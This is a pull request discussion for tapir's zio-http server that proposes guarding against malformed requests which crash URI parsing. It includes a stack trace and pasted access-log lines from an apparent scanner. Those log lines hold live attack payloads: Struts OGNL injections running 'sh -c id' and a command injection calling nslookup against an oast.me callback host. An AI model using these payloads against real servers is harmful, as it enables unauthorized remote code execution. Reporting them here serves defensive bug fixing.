Guard against bad zio-http Request objects, sometimes provoked by malicious requests

[swaldman]

Certain (malicious) requests currently zio-http Request objects with a url field that encodes to an empty String, provoking an exceptions within tapir zio-http like

timestamp=2024-01-24T15:01:30.568420263Z level=ERROR thread=#zio-fiber-130 message="" cause="Exception in thread "zio-fiber-130" java.lang.IllegalArgumentException: empty string is not valid uri
         at sttp.model.UriInterpolator$.interpolate(UriInterpolator.scala:66)
         at sttp.model.UriInterpolator$UriContext.uri(UriInterpolator.scala:39)
         at sttp.model.Uri$.unsafeParse(Uri.scala:537)
         at sttp.tapir.server.ziohttp.ZioHttpServerRequest.uri$lzyINIT1(ZioHttpServerRequest.scala:23)
         at sttp.tapir.server.ziohttp.ZioHttpServerRequest.uri(ZioHttpServerRequest.scala:23)
         at sttp.tapir.server.ziohttp.ZioHttpServerRequest.pathSegments$lzyINIT1(ZioHttpServerRequest.scala:20)
         at sttp.tapir.server.ziohttp.ZioHttpServerRequest.pathSegments(ZioHttpServerRequest.scala:20)
         at sttp.tapir.server.interpreter.FilterServerEndpoints.apply(FilterServerEndpoints.scala:14)
         at sttp.tapir.server.interpreter.FilterServerEndpoints.apply(FilterServerEndpoints.scala:13)
         at sttp.tapir.server.interpreter.ServerInterpreter.apply$$anonfun$1(ServerInterpreter.scala:24)
         at zio.ZIO$.suspend$$anonfun$1(ZIO.scala:4624)
         at zio.FiberRef$unsafe$$anon$2.getWith$$anonfun$1(FiberRef.scala:474)
         at sttp.tapir.ztapir.RIOMonadError.suspend(RIOMonadError.scala:13)
         at sttp.tapir.server.ziohttp.ZioHttpInterpreter.toHttp(ZioHttpInterpreter.scala:62)" location=sttp.tapir.server.ziohttp.ZioHttpInterpreter.toHttp file=ZioHttpInterpreter.scala line=50

As far as I can tell, these exceptions are harmless and tapir appropriately returns a 500 error response.

Nevertheless, maybe it's better not to let bad requests provoke unanticipated exceptions within tapir internals, to guard against those requests instead. That is the intent of this pull request.

Some requests that apparently provoke this (just correlating log times) include

20.194.161.187 - - [24/Jan/2024:13:34:41 +0000] "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 500 0 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:13:34:42 +0000] "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:13:34:43 +0000] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:13:34:44 +0000] "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 500 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F"
20.194.161.187 - - [24/Jan/2024:13:34:44 +0000] "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:13:34:45 +0000] "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:13:34:46 +0000] "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 500 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F"
20.194.161.187 - - [24/Jan/2024:13:34:47 +0000] "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:13:34:48 +0000] "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36"
20.194.161.187 - - [24/Jan/2024:14:39:15 +0000] "GET /webadmin/script?command=|%20nslookup%20cmoe8rs61jc80cur53tgmec4tz6u89sjg.oast.me HTTP/1.1" 500 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F"
20.194.161.187 - - [24/Jan/2024:15:01:30 +0000] "GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\x22;user|s.\x221337\x22; HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36"

[adamw]

Thanks!